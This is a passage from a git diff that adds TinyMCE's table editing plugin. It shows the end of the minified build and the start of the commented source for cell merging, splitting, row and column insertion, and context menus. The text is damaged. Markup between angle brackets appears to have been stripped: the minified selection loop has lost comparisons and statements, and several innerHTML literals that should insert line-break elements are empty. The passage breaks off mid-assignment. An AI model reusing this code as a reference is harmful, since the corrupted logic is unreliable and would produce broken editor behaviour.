P,O,U,T,N,M,Q,R;D=F(S);if(L&&D){P=Math.min(L.x,D.x);O=Math.min(L.y,D.y);U=Math.max(L.x,D.x);T=Math.max(L.y,D.y);N=U;M=T;for(y=O;y<=M;y++){S=g[y][P];if(!S.real){if(P-(S.colspan-1)N){N=x+Q}}if(R){if(y+R>M){M=y+R}}}}}G.removeClass(G.select("td.mceSelected,th.mceSelected"),"mceSelected");for(y=O;y<=M;y++){for(x=P;x<=N;x++){if(g[y][x]){G.addClass(g[y][x].elm,"mceSelected")}}}}}d.extend(this,{deleteTable:r,split:C,merge:p,insertRow:l,insertCol:h,deleteCols:n,deleteRows:m,cutRows:E,copyRows:J,pasteRows:B,getPos:F,setStartCell:w,setEndCell:v})}d.create("tinymce.plugins.TablePlugin",{init:function(g,h){var f,m,j=true;function l(p){var o=g.selection,n=g.dom.getParent(p||o.getNode(),"table");if(n){return new b(n,g.dom,o)}}function k(){g.getBody().style.webkitUserSelect="";if(j){g.dom.removeClass(g.dom.select("td.mceSelected,th.mceSelected"),"mceSelected");j=false}}e([["table","table.desc","mceInsertTable",true],["delete_table","table.del","mceTableDelete"],["delete_col","table.delete_col_desc","mceTableDeleteCol"],["delete_row","table.delete_row_desc","mceTableDeleteRow"],["col_after","table.col_after_desc","mceTableInsertColAfter"],["col_before","table.col_before_desc","mceTableInsertColBefore"],["row_after","table.row_after_desc","mceTableInsertRowAfter"],["row_before","table.row_before_desc","mceTableInsertRowBefore"],["row_props","table.row_desc","mceTableRowProps",true],["cell_props","table.cell_desc","mceTableCellProps",true],["split_cells","table.split_cells_desc","mceTableSplitCells",true],["merge_cells","table.merge_cells_desc","mceTableMergeCells",true]],function(n){g.addButton(n[0],{title:n[1],cmd:n[2],ui:n[3]})});if(!d.isIE){g.onClick.add(function(n,o){o=o.target;if(o.nodeName==="TABLE"){n.selection.select(o);n.nodeChanged()}})}g.onPreProcess.add(function(o,p){var n,q,r,t=o.dom,s;n=t.select("table",p.node);q=n.length;while(q--){r=n[q];t.setAttrib(r,"data-mce-style","");if((s=t.getAttrib(r,"width"))){t.setStyle(r,"width",s);t.setAttrib(r,"width","")}if((s=t.getAttrib(r,"height"))){t.setStyle(r,"height",s);t.setAttrib(r,"height","")}}});g.onNodeChange.add(function(q,o,s){var r;s=q.selection.getStart();r=q.dom.getParent(s,"td,th,caption");o.setActive("table",s.nodeName==="TABLE"||!!r);if(r&&r.nodeName==="CAPTION"){r=0}o.setDisabled("delete_table",!r);o.setDisabled("delete_col",!r);o.setDisabled("delete_table",!r);o.setDisabled("delete_row",!r);o.setDisabled("col_after",!r);o.setDisabled("col_before",!r);o.setDisabled("row_after",!r);o.setDisabled("row_before",!r);o.setDisabled("row_props",!r);o.setDisabled("cell_props",!r);o.setDisabled("split_cells",!r);o.setDisabled("merge_cells",!r)});g.onInit.add(function(r){var p,t,q=r.dom,u;f=r.windowManager;r.onMouseDown.add(function(w,z){if(z.button!=2){k();t=q.getParent(z.target,"td,th");p=q.getParent(t,"table")}});q.bind(r.getDoc(),"mouseover",function(C){var A,z,B=C.target;if(t&&(u||B!=t)&&(B.nodeName=="TD"||B.nodeName=="TH")){z=q.getParent(B,"table");if(z==p){if(!u){u=l(z);u.setStartCell(t);r.getBody().style.webkitUserSelect="none"}u.setEndCell(B);j=true}A=r.selection.getSel();try{if(A.removeAllRanges){A.removeAllRanges()}else{A.empty()}}catch(w){}C.preventDefault()}});r.onMouseUp.add(function(F,G){var z,B=F.selection,H,I=B.getSel(),w,C,A,E;if(t){if(u){F.getBody().style.webkitUserSelect=""}function D(J,L){var K=new d.dom.TreeWalker(J,J);do{if(J.nodeType==3&&d.trim(J.nodeValue).length!=0){if(L){z.setStart(J,0)}else{z.setEnd(J,J.nodeValue.length)}return}if(J.nodeName=="BR"){if(L){z.setStartBefore(J)}else{z.setEndBefore(J)}return}}while(J=(L?K.next():K.prev()))}H=q.select("td.mceSelected,th.mceSelected");if(H.length>0){z=q.createRng();C=H[0];E=H[H.length-1];z.setStartBefore(C);z.setEndAfter(C);D(C,1);w=new d.dom.TreeWalker(C,q.getParent(H[0],"table"));do{if(C.nodeName=="TD"||C.nodeName=="TH"){if(!q.hasClass(C,"mceSelected")){break}A=C}}while(C=w.next());D(A);B.setRng(z)}F.nodeChanged();t=u=p=null}});r.onKeyUp.add(function(w,z){k()});r.onKeyDown.add(function(w,z){n(w)});r.onMouseDown.add(function(w,z){if(z.button!=2){n(w)}});function o(D,z,A,F){var B=3,G=D.dom.getParent(z.startContainer,"TABLE"),C,w,E;if(G){C=G.parentNode}w=z.startContainer.nodeType==B&&z.startOffset==0&&z.endOffset==0&&F&&(A.nodeName=="TR"||A==C);E=(A.nodeName=="TD"||A.nodeName=="TH")&&!F;return w||E}function n(A){if(!d.isWebKit){return}var z=A.selection.getRng();var C=A.selection.getNode();var B=A.dom.getParent(z.startContainer,"TD,TH");if(!o(A,z,C,B)){return}if(!B){B=C}var w=B.lastChild;while(w.lastChild){w=w.lastChild}z.setEnd(w,w.nodeValue.length);A.selection.setRng(z)}r.plugins.table.fixTableCellSelection=n;if(r&&r.plugins.contextmenu){r.plugins.contextmenu.onContextMenu.add(function(A,w,C){var D,B=r.selection,z=B.getNode()||r.getBody();if(r.dom.getParent(C,"td")||r.dom.getParent(C,"th")||r.dom.select("td.mceSelected,th.mceSelected").length){w.removeAll();if(z.nodeName=="A"&&!r.dom.getAttrib(z,"name")){w.add({title:"advanced.link_desc",icon:"link",cmd:r.plugins.advlink?"mceAdvLink":"mceLink",ui:true});w.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"});w.addSeparator()}if(z.nodeName=="IMG"&&z.className.indexOf("mceItem")==-1){w.add({title:"advanced.image_desc",icon:"image",cmd:r.plugins.advimage?"mceAdvImage":"mceImage",ui:true});w.addSeparator()}w.add({title:"table.desc",icon:"table",cmd:"mceInsertTable",value:{action:"insert"}});w.add({title:"table.props_desc",icon:"table_props",cmd:"mceInsertTable"});w.add({title:"table.del",icon:"delete_table",cmd:"mceTableDelete"});w.addSeparator();D=w.addMenu({title:"table.cell"});D.add({title:"table.cell_desc",icon:"cell_props",cmd:"mceTableCellProps"});D.add({title:"table.split_cells_desc",icon:"split_cells",cmd:"mceTableSplitCells"});D.add({title:"table.merge_cells_desc",icon:"merge_cells",cmd:"mceTableMergeCells"});D=w.addMenu({title:"table.row"});D.add({title:"table.row_desc",icon:"row_props",cmd:"mceTableRowProps"});D.add({title:"table.row_before_desc",icon:"row_before",cmd:"mceTableInsertRowBefore"});D.add({title:"table.row_after_desc",icon:"row_after",cmd:"mceTableInsertRowAfter"});D.add({title:"table.delete_row_desc",icon:"delete_row",cmd:"mceTableDeleteRow"});D.addSeparator();D.add({title:"table.cut_row_desc",icon:"cut",cmd:"mceTableCutRow"});D.add({title:"table.copy_row_desc",icon:"copy",cmd:"mceTableCopyRow"});D.add({title:"table.paste_row_before_desc",icon:"paste",cmd:"mceTablePasteRowBefore"}).setDisabled(!m);D.add({title:"table.paste_row_after_desc",icon:"paste",cmd:"mceTablePasteRowAfter"}).setDisabled(!m);D=w.addMenu({title:"table.col"});D.add({title:"table.col_before_desc",icon:"col_before",cmd:"mceTableInsertColBefore"});D.add({title:"table.col_after_desc",icon:"col_after",cmd:"mceTableInsertColAfter"});D.add({title:"table.delete_col_desc",icon:"delete_col",cmd:"mceTableDeleteCol"})}else{w.add({title:"table.desc",icon:"table",cmd:"mceInsertTable"})}})}if(d.isWebKit){function v(C,N){var L=d.VK;var Q=N.keyCode;function O(Y,U,S){var T=Y?"previousSibling":"nextSibling";var Z=C.dom.getParent(U,"tr");var X=Z[T];if(X){z(C,U,X,Y);d.dom.Event.cancel(S);return true}else{var aa=C.dom.getParent(Z,"table");var W=Z.parentNode;var R=W.nodeName.toLowerCase();if(R==="tbody"||R===(Y?"tfoot":"thead")){var V=w(Y,aa,W,"tbody");if(V!==null){return K(Y,V,U,S)}}return M(Y,Z,T,aa,S)}}function w(V,T,U,X){var S=C.dom.select(">"+X,T);var R=S.indexOf(U);if(V&&R===0||!V&&R===S.length-1){return B(V,T)}else{if(R===-1){var W=U.tagName.toLowerCase()==="thead"?0:S.length-1;return S[W]}else{return S[R+(V?-1:1)]}}}function B(U,T){var S=U?"thead":"tfoot";var R=C.dom.select(">"+S,T);return R.length!==0?R[0]:null}function K(V,T,S,U){var R=J(T,V);R&&z(C,S,R,V);d.dom.Event.cancel(U);return true}function M(Y,U,R,X,W){var S=X[R];if(S){F(S);return true}else{var V=C.dom.getParent(X,"td,th");if(V){return O(Y,V,W)}else{var T=J(U,!Y);F(T);return d.dom.Event.cancel(W)}}}function J(S,R){return S&&S[R?"lastChild":"firstChild"]}function F(R){C.selection.setCursorLocation(R,0)}function A(){return Q==L.UP||Q==L.DOWN}function D(R){var T=R.selection.getNode();var S=R.dom.getParent(T,"tr");return S!==null}function P(S){var R=0;var T=S;while(T.previousSibling){T=T.previousSibling;R=R+a(T,"colspan")}return R}function E(T,R){var U=0;var S=0;e(T.children,function(V,W){U=U+a(V,"colspan");S=W;if(U>R){return false}});return S}function z(T,W,Y,V){var X=P(T.dom.getParent(W,"td,th"));var S=E(Y,X);var R=Y.childNodes[S];var U=J(R,V);F(U||R)}function H(R){var T=C.selection.getNode();var U=C.dom.getParent(T,"td,th");var S=C.dom.getParent(R,"td,th");return U&&U!==S&&I(U,S)}function I(S,R){return C.dom.getParent(S,"TABLE")===C.dom.getParent(R,"TABLE")}if(A()&&D(C)){var G=C.selection.getNode();setTimeout(function(){if(H(G)){O(!N.shiftKey&&Q===L.UP,G,N)}},0)}}r.onKeyDown.add(v)}if(!d.isIE){function s(){var w;for(w=r.getBody().lastChild;w&&w.nodeType==3&&!w.nodeValue.length;w=w.previousSibling){}if(w&&w.nodeName=="TABLE"){r.dom.add(r.getBody(),"p",null,'
    ')}}if(d.isGecko){r.onKeyDown.add(function(z,B){var w,A,C=z.dom;if(B.keyCode==37||B.keyCode==38){w=z.selection.getRng();A=C.getParent(w.startContainer,"table");if(A&&z.getBody().firstChild==A){if(c(w,A)){w=C.createRng();w.setStartBefore(A);w.setEndBefore(A);z.selection.setRng(w);B.preventDefault()}}}})}r.onKeyUp.add(s);r.onSetContent.add(s);r.onVisualAid.add(s);r.onPreProcess.add(function(w,A){var z=A.node.lastChild;if(z&&z.childNodes.length==1&&z.firstChild.nodeName=="BR"){w.dom.remove(z)}});if(d.isGecko){r.onKeyDown.add(function(z,B){if(B.keyCode===d.VK.ENTER&&B.shiftKey){var A=z.selection.getRng().startContainer;var C=q.getParent(A,"td,th");if(C){var w=z.getDoc().createTextNode("\uFEFF");q.insertAfter(w,A)}}})}s();r.startContent=r.getContent({format:"raw"})}});e({mceTableSplitCells:function(n){n.split()},mceTableMergeCells:function(o){var p,q,n;n=g.dom.getParent(g.selection.getNode(),"th,td");if(n){p=n.rowSpan;q=n.colSpan}if(!g.dom.select("td.mceSelected,th.mceSelected").length){f.open({url:h+"/merge_cells.htm",width:240+parseInt(g.getLang("table.merge_cells_delta_width",0)),height:110+parseInt(g.getLang("table.merge_cells_delta_height",0)),inline:1},{rows:p,cols:q,onaction:function(r){o.merge(n,r.cols,r.rows)},plugin_url:h})}else{o.merge()}},mceTableInsertRowBefore:function(n){n.insertRow(true)},mceTableInsertRowAfter:function(n){n.insertRow()},mceTableInsertColBefore:function(n){n.insertCol(true)},mceTableInsertColAfter:function(n){n.insertCol()},mceTableDeleteCol:function(n){n.deleteCols()},mceTableDeleteRow:function(n){n.deleteRows()},mceTableCutRow:function(n){m=n.cutRows()},mceTableCopyRow:function(n){m=n.copyRows()},mceTablePasteRowBefore:function(n){n.pasteRows(m,true)},mceTablePasteRowAfter:function(n){n.pasteRows(m)},mceTableDelete:function(n){n.deleteTable()}},function(o,n){g.addCommand(n,function(){var p=l();if(p){o(p);g.execCommand("mceRepaint");k()}})});e({mceInsertTable:function(n){f.open({url:h+"/table.htm",width:400+parseInt(g.getLang("table.table_delta_width",0)),height:320+parseInt(g.getLang("table.table_delta_height",0)),inline:1},{plugin_url:h,action:n?n.action:0})},mceTableRowProps:function(){f.open({url:h+"/row.htm",width:400+parseInt(g.getLang("table.rowprops_delta_width",0)),height:295+parseInt(g.getLang("table.rowprops_delta_height",0)),inline:1},{plugin_url:h})},mceTableCellProps:function(){f.open({url:h+"/cell.htm",width:400+parseInt(g.getLang("table.cellprops_delta_width",0)),height:295+parseInt(g.getLang("table.cellprops_delta_height",0)),inline:1},{plugin_url:h})}},function(o,n){g.addCommand(n,function(p,q){o(q)})})}});d.PluginManager.add("table",d.plugins.TablePlugin)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/editor_plugin_src.js b/js/tiny_mce/plugins/table/editor_plugin_src.js new file mode 100755 index 0000000..ed70f3d --- /dev/null +++ b/js/tiny_mce/plugins/table/editor_plugin_src.js @@ -0,0 +1,1426 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + var each = tinymce.each; + + // Checks if the selection/caret is at the start of the specified block element + function isAtStart(rng, par) { + var doc = par.ownerDocument, rng2 = doc.createRange(), elm; + + rng2.setStartBefore(par); + rng2.setEnd(rng.endContainer, rng.endOffset); + + elm = doc.createElement('body'); + elm.appendChild(rng2.cloneContents()); + + // Check for text characters of other elements that should be treated as content + return elm.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi, '-').replace(/<[^>]+>/g, '').length == 0; + }; + + function getSpanVal(td, name) { + return parseInt(td.getAttribute(name) || 1); + } + + /** + * Table Grid class. + */ + function TableGrid(table, dom, selection) { + var grid, startPos, endPos, selectedCell; + + buildGrid(); + selectedCell = dom.getParent(selection.getStart(), 'th,td'); + if (selectedCell) { + startPos = getPos(selectedCell); + endPos = findEndPos(); + selectedCell = getCell(startPos.x, startPos.y); + } + + function cloneNode(node, children) { + node = node.cloneNode(children); + node.removeAttribute('id'); + + return node; + } + + function buildGrid() { + var startY = 0; + + grid = []; + + each(['thead', 'tbody', 'tfoot'], function(part) { + var rows = dom.select('> ' + part + ' tr', table); + + each(rows, function(tr, y) { + y += startY; + + each(dom.select('> td, > th', tr), function(td, x) { + var x2, y2, rowspan, colspan; + + // Skip over existing cells produced by rowspan + if (grid[y]) { + while (grid[y][x]) + x++; + } + + // Get col/rowspan from cell + rowspan = getSpanVal(td, 'rowspan'); + colspan = getSpanVal(td, 'colspan'); + + // Fill out rowspan/colspan right and down + for (y2 = y; y2 < y + rowspan; y2++) { + if (!grid[y2]) + grid[y2] = []; + + for (x2 = x; x2 < x + colspan; x2++) { + grid[y2][x2] = { + part : part, + real : y2 == y && x2 == x, + elm : td, + rowspan : rowspan, + colspan : colspan + }; + } + } + }); + }); + + startY += rows.length; + }); + }; + + function getCell(x, y) { + var row; + + row = grid[y]; + if (row) + return row[x]; + }; + + function setSpanVal(td, name, val) { + if (td) { + val = parseInt(val); + + if (val === 1) + td.removeAttribute(name, 1); + else + td.setAttribute(name, val, 1); + } + } + + function isCellSelected(cell) { + return cell && (dom.hasClass(cell.elm, 'mceSelected') || cell == selectedCell); + }; + + function getSelectedRows() { + var rows = []; + + each(table.rows, function(row) { + each(row.cells, function(cell) { + if (dom.hasClass(cell, 'mceSelected') || cell == selectedCell.elm) { + rows.push(row); + return false; + } + }); + }); + + return rows; + }; + + function deleteTable() { + var rng = dom.createRng(); + + rng.setStartAfter(table); + rng.setEndAfter(table); + + selection.setRng(rng); + + dom.remove(table); + }; + + function cloneCell(cell) { + var formatNode; + + // Clone formats + tinymce.walk(cell, function(node) { + var curNode; + + if (node.nodeType == 3) { + each(dom.getParents(node.parentNode, null, cell).reverse(), function(node) { + node = cloneNode(node, false); + + if (!formatNode) + formatNode = curNode = node; + else if (curNode) + curNode.appendChild(node); + + curNode = node; + }); + + // Add something to the inner node + if (curNode) + curNode.innerHTML = tinymce.isIE ? ' ' : '
    '; + + return false; + } + }, 'childNodes'); + + cell = cloneNode(cell, false); + setSpanVal(cell, 'rowSpan', 1); + setSpanVal(cell, 'colSpan', 1); + + if (formatNode) { + cell.appendChild(formatNode); + } else { + if (!tinymce.isIE) + cell.innerHTML = '
    '; + } + + return cell; + }; + + function cleanup() { + var rng = dom.createRng(); + + // Empty rows + each(dom.select('tr', table), function(tr) { + if (tr.cells.length == 0) + dom.remove(tr); + }); + + // Empty table + if (dom.select('tr', table).length == 0) { + rng.setStartAfter(table); + rng.setEndAfter(table); + selection.setRng(rng); + dom.remove(table); + return; + } + + // Empty header/body/footer + each(dom.select('thead,tbody,tfoot', table), function(part) { + if (part.rows.length == 0) + dom.remove(part); + }); + + // Restore selection to start position if it still exists + buildGrid(); + + // Restore the selection to the closest table position + row = grid[Math.min(grid.length - 1, startPos.y)]; + if (row) { + selection.select(row[Math.min(row.length - 1, startPos.x)].elm, true); + selection.collapse(true); + } + }; + + function fillLeftDown(x, y, rows, cols) { + var tr, x2, r, c, cell; + + tr = grid[y][x].elm.parentNode; + for (r = 1; r <= rows; r++) { + tr = dom.getNext(tr, 'tr'); + + if (tr) { + // Loop left to find real cell + for (x2 = x; x2 >= 0; x2--) { + cell = grid[y + r][x2].elm; + + if (cell.parentNode == tr) { + // Append clones after + for (c = 1; c <= cols; c++) + dom.insertAfter(cloneCell(cell), cell); + + break; + } + } + + if (x2 == -1) { + // Insert nodes before first cell + for (c = 1; c <= cols; c++) + tr.insertBefore(cloneCell(tr.cells[0]), tr.cells[0]); + } + } + } + }; + + function split() { + each(grid, function(row, y) { + each(row, function(cell, x) { + var colSpan, rowSpan, newCell, i; + + if (isCellSelected(cell)) { + cell = cell.elm; + colSpan = getSpanVal(cell, 'colspan'); + rowSpan = getSpanVal(cell, 'rowspan'); + + if (colSpan > 1 || rowSpan > 1) { + setSpanVal(cell, 'rowSpan', 1); + setSpanVal(cell, 'colSpan', 1); + + // Insert cells right + for (i = 0; i < colSpan - 1; i++) + dom.insertAfter(cloneCell(cell), cell); + + fillLeftDown(x, y, rowSpan - 1, colSpan); + } + } + }); + }); + }; + + function merge(cell, cols, rows) { + var startX, startY, endX, endY, x, y, startCell, endCell, cell, children, count; + + // Use specified cell and cols/rows + if (cell) { + pos = getPos(cell); + startX = pos.x; + startY = pos.y; + endX = startX + (cols - 1); + endY = startY + (rows - 1); + } else { + // Use selection + startX = startPos.x; + startY = startPos.y; + endX = endPos.x; + endY = endPos.y; + } + + // Find start/end cells + startCell = getCell(startX, startY); + endCell = getCell(endX, endY); + + // Check if the cells exists and if they are of the same part for example tbody = tbody + if (startCell && endCell && startCell.part == endCell.part) { + // Split and rebuild grid + split(); + buildGrid(); + + // Set row/col span to start cell + startCell = getCell(startX, startY).elm; + setSpanVal(startCell, 'colSpan', (endX - startX) + 1); + setSpanVal(startCell, 'rowSpan', (endY - startY) + 1); + + // Remove other cells and add it's contents to the start cell + for (y = startY; y <= endY; y++) { + for (x = startX; x <= endX; x++) { + if (!grid[y] || !grid[y][x]) + continue; + + cell = grid[y][x].elm; + + if (cell != startCell) { + // Move children to startCell + children = tinymce.grep(cell.childNodes); + each(children, function(node) { + startCell.appendChild(node); + }); + + // Remove bogus nodes if there is children in the target cell + if (children.length) { + children = tinymce.grep(startCell.childNodes); + count = 0; + each(children, function(node) { + if (node.nodeName == 'BR' && dom.getAttrib(node, 'data-mce-bogus') && count++ < children.length - 1) + startCell.removeChild(node); + }); + } + + // Remove cell + dom.remove(cell); + } + } + } + + // Remove empty rows etc and restore caret location + cleanup(); + } + }; + + function insertRow(before) { + var posY, cell, lastCell, x, rowElm, newRow, newCell, otherCell, rowSpan; + + // Find first/last row + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell)) { + cell = cell.elm; + rowElm = cell.parentNode; + newRow = cloneNode(rowElm, false); + posY = y; + + if (before) + return false; + } + }); + + if (before) + return !posY; + }); + + for (x = 0; x < grid[0].length; x++) { + // Cell not found could be because of an invalid table structure + if (!grid[posY][x]) + continue; + + cell = grid[posY][x].elm; + + if (cell != lastCell) { + if (!before) { + rowSpan = getSpanVal(cell, 'rowspan'); + if (rowSpan > 1) { + setSpanVal(cell, 'rowSpan', rowSpan + 1); + continue; + } + } else { + // Check if cell above can be expanded + if (posY > 0 && grid[posY - 1][x]) { + otherCell = grid[posY - 1][x].elm; + rowSpan = getSpanVal(otherCell, 'rowSpan'); + if (rowSpan > 1) { + setSpanVal(otherCell, 'rowSpan', rowSpan + 1); + continue; + } + } + } + + // Insert new cell into new row + newCell = cloneCell(cell); + setSpanVal(newCell, 'colSpan', cell.colSpan); + + newRow.appendChild(newCell); + + lastCell = cell; + } + } + + if (newRow.hasChildNodes()) { + if (!before) + dom.insertAfter(newRow, rowElm); + else + rowElm.parentNode.insertBefore(newRow, rowElm); + } + }; + + function insertCol(before) { + var posX, lastCell; + + // Find first/last column + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell)) { + posX = x; + + if (before) + return false; + } + }); + + if (before) + return !posX; + }); + + each(grid, function(row, y) { + var cell, rowSpan, colSpan; + + if (!row[posX]) + return; + + cell = row[posX].elm; + if (cell != lastCell) { + colSpan = getSpanVal(cell, 'colspan'); + rowSpan = getSpanVal(cell, 'rowspan'); + + if (colSpan == 1) { + if (!before) { + dom.insertAfter(cloneCell(cell), cell); + fillLeftDown(posX, y, rowSpan - 1, colSpan); + } else { + cell.parentNode.insertBefore(cloneCell(cell), cell); + fillLeftDown(posX, y, rowSpan - 1, colSpan); + } + } else + setSpanVal(cell, 'colSpan', cell.colSpan + 1); + + lastCell = cell; + } + }); + }; + + function deleteCols() { + var cols = []; + + // Get selected column indexes + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell) && tinymce.inArray(cols, x) === -1) { + each(grid, function(row) { + var cell = row[x].elm, colSpan; + + colSpan = getSpanVal(cell, 'colSpan'); + + if (colSpan > 1) + setSpanVal(cell, 'colSpan', colSpan - 1); + else + dom.remove(cell); + }); + + cols.push(x); + } + }); + }); + + cleanup(); + }; + + function deleteRows() { + var rows; + + function deleteRow(tr) { + var nextTr, pos, lastCell; + + nextTr = dom.getNext(tr, 'tr'); + + // Move down row spanned cells + each(tr.cells, function(cell) { + var rowSpan = getSpanVal(cell, 'rowSpan'); + + if (rowSpan > 1) { + setSpanVal(cell, 'rowSpan', rowSpan - 1); + pos = getPos(cell); + fillLeftDown(pos.x, pos.y, 1, 1); + } + }); + + // Delete cells + pos = getPos(tr.cells[0]); + each(grid[pos.y], function(cell) { + var rowSpan; + + cell = cell.elm; + + if (cell != lastCell) { + rowSpan = getSpanVal(cell, 'rowSpan'); + + if (rowSpan <= 1) + dom.remove(cell); + else + setSpanVal(cell, 'rowSpan', rowSpan - 1); + + lastCell = cell; + } + }); + }; + + // Get selected rows and move selection out of scope + rows = getSelectedRows(); + + // Delete all selected rows + each(rows.reverse(), function(tr) { + deleteRow(tr); + }); + + cleanup(); + }; + + function cutRows() { + var rows = getSelectedRows(); + + dom.remove(rows); + cleanup(); + + return rows; + }; + + function copyRows() { + var rows = getSelectedRows(); + + each(rows, function(row, i) { + rows[i] = cloneNode(row, true); + }); + + return rows; + }; + + function pasteRows(rows, before) { + var selectedRows = getSelectedRows(), + targetRow = selectedRows[before ? 0 : selectedRows.length - 1], + targetCellCount = targetRow.cells.length; + + // Calc target cell count + each(grid, function(row) { + var match; + + targetCellCount = 0; + each(row, function(cell, x) { + if (cell.real) + targetCellCount += cell.colspan; + + if (cell.elm.parentNode == targetRow) + match = 1; + }); + + if (match) + return false; + }); + + if (!before) + rows.reverse(); + + each(rows, function(row) { + var cellCount = row.cells.length, cell; + + // Remove col/rowspans + for (i = 0; i < cellCount; i++) { + cell = row.cells[i]; + setSpanVal(cell, 'colSpan', 1); + setSpanVal(cell, 'rowSpan', 1); + } + + // Needs more cells + for (i = cellCount; i < targetCellCount; i++) + row.appendChild(cloneCell(row.cells[cellCount - 1])); + + // Needs less cells + for (i = targetCellCount; i < cellCount; i++) + dom.remove(row.cells[i]); + + // Add before/after + if (before) + targetRow.parentNode.insertBefore(row, targetRow); + else + dom.insertAfter(row, targetRow); + }); + }; + + function getPos(target) { + var pos; + + each(grid, function(row, y) { + each(row, function(cell, x) { + if (cell.elm == target) { + pos = {x : x, y : y}; + return false; + } + }); + + return !pos; + }); + + return pos; + }; + + function setStartCell(cell) { + startPos = getPos(cell); + }; + + function findEndPos() { + var pos, maxX, maxY; + + maxX = maxY = 0; + + each(grid, function(row, y) { + each(row, function(cell, x) { + var colSpan, rowSpan; + + if (isCellSelected(cell)) { + cell = grid[y][x]; + + if (x > maxX) + maxX = x; + + if (y > maxY) + maxY = y; + + if (cell.real) { + colSpan = cell.colspan - 1; + rowSpan = cell.rowspan - 1; + + if (colSpan) { + if (x + colSpan > maxX) + maxX = x + colSpan; + } + + if (rowSpan) { + if (y + rowSpan > maxY) + maxY = y + rowSpan; + } + } + } + }); + }); + + return {x : maxX, y : maxY}; + }; + + function setEndCell(cell) { + var startX, startY, endX, endY, maxX, maxY, colSpan, rowSpan; + + endPos = getPos(cell); + + if (startPos && endPos) { + // Get start/end positions + startX = Math.min(startPos.x, endPos.x); + startY = Math.min(startPos.y, endPos.y); + endX = Math.max(startPos.x, endPos.x); + endY = Math.max(startPos.y, endPos.y); + + // Expand end positon to include spans + maxX = endX; + maxY = endY; + + // Expand startX + for (y = startY; y <= maxY; y++) { + cell = grid[y][startX]; + + if (!cell.real) { + if (startX - (cell.colspan - 1) < startX) + startX -= cell.colspan - 1; + } + } + + // Expand startY + for (x = startX; x <= maxX; x++) { + cell = grid[startY][x]; + + if (!cell.real) { + if (startY - (cell.rowspan - 1) < startY) + startY -= cell.rowspan - 1; + } + } + + // Find max X, Y + for (y = startY; y <= endY; y++) { + for (x = startX; x <= endX; x++) { + cell = grid[y][x]; + + if (cell.real) { + colSpan = cell.colspan - 1; + rowSpan = cell.rowspan - 1; + + if (colSpan) { + if (x + colSpan > maxX) + maxX = x + colSpan; + } + + if (rowSpan) { + if (y + rowSpan > maxY) + maxY = y + rowSpan; + } + } + } + } + + // Remove current selection + dom.removeClass(dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); + + // Add new selection + for (y = startY; y <= maxY; y++) { + for (x = startX; x <= maxX; x++) { + if (grid[y][x]) + dom.addClass(grid[y][x].elm, 'mceSelected'); + } + } + } + }; + + // Expose to public + tinymce.extend(this, { + deleteTable : deleteTable, + split : split, + merge : merge, + insertRow : insertRow, + insertCol : insertCol, + deleteCols : deleteCols, + deleteRows : deleteRows, + cutRows : cutRows, + copyRows : copyRows, + pasteRows : pasteRows, + getPos : getPos, + setStartCell : setStartCell, + setEndCell : setEndCell + }); + }; + + tinymce.create('tinymce.plugins.TablePlugin', { + init : function(ed, url) { + var winMan, clipboardRows, hasCellSelection = true; // Might be selected cells on reload + + function createTableGrid(node) { + var selection = ed.selection, tblElm = ed.dom.getParent(node || selection.getNode(), 'table'); + + if (tblElm) + return new TableGrid(tblElm, ed.dom, selection); + }; + + function cleanup() { + // Restore selection possibilities + ed.getBody().style.webkitUserSelect = ''; + + if (hasCellSelection) { + ed.dom.removeClass(ed.dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); + hasCellSelection = false; + } + }; + + // Register buttons + each([ + ['table', 'table.desc', 'mceInsertTable', true], + ['delete_table', 'table.del', 'mceTableDelete'], + ['delete_col', 'table.delete_col_desc', 'mceTableDeleteCol'], + ['delete_row', 'table.delete_row_desc', 'mceTableDeleteRow'], + ['col_after', 'table.col_after_desc', 'mceTableInsertColAfter'], + ['col_before', 'table.col_before_desc', 'mceTableInsertColBefore'], + ['row_after', 'table.row_after_desc', 'mceTableInsertRowAfter'], + ['row_before', 'table.row_before_desc', 'mceTableInsertRowBefore'], + ['row_props', 'table.row_desc', 'mceTableRowProps', true], + ['cell_props', 'table.cell_desc', 'mceTableCellProps', true], + ['split_cells', 'table.split_cells_desc', 'mceTableSplitCells', true], + ['merge_cells', 'table.merge_cells_desc', 'mceTableMergeCells', true] + ], function(c) { + ed.addButton(c[0], {title : c[1], cmd : c[2], ui : c[3]}); + }); + + // Select whole table is a table border is clicked + if (!tinymce.isIE) { + ed.onClick.add(function(ed, e) { + e = e.target; + + if (e.nodeName === 'TABLE') { + ed.selection.select(e); + ed.nodeChanged(); + } + }); + } + + ed.onPreProcess.add(function(ed, args) { + var nodes, i, node, dom = ed.dom, value; + + nodes = dom.select('table', args.node); + i = nodes.length; + while (i--) { + node = nodes[i]; + dom.setAttrib(node, 'data-mce-style', ''); + + if ((value = dom.getAttrib(node, 'width'))) { + dom.setStyle(node, 'width', value); + dom.setAttrib(node, 'width', ''); + } + + if ((value = dom.getAttrib(node, 'height'))) { + dom.setStyle(node, 'height', value); + dom.setAttrib(node, 'height', ''); + } + } + }); + + // Handle node change updates + ed.onNodeChange.add(function(ed, cm, n) { + var p; + + n = ed.selection.getStart(); + p = ed.dom.getParent(n, 'td,th,caption'); + cm.setActive('table', n.nodeName === 'TABLE' || !!p); + + // Disable table tools if we are in caption + if (p && p.nodeName === 'CAPTION') + p = 0; + + cm.setDisabled('delete_table', !p); + cm.setDisabled('delete_col', !p); + cm.setDisabled('delete_table', !p); + cm.setDisabled('delete_row', !p); + cm.setDisabled('col_after', !p); + cm.setDisabled('col_before', !p); + cm.setDisabled('row_after', !p); + cm.setDisabled('row_before', !p); + cm.setDisabled('row_props', !p); + cm.setDisabled('cell_props', !p); + cm.setDisabled('split_cells', !p); + cm.setDisabled('merge_cells', !p); + }); + + ed.onInit.add(function(ed) { + var startTable, startCell, dom = ed.dom, tableGrid; + + winMan = 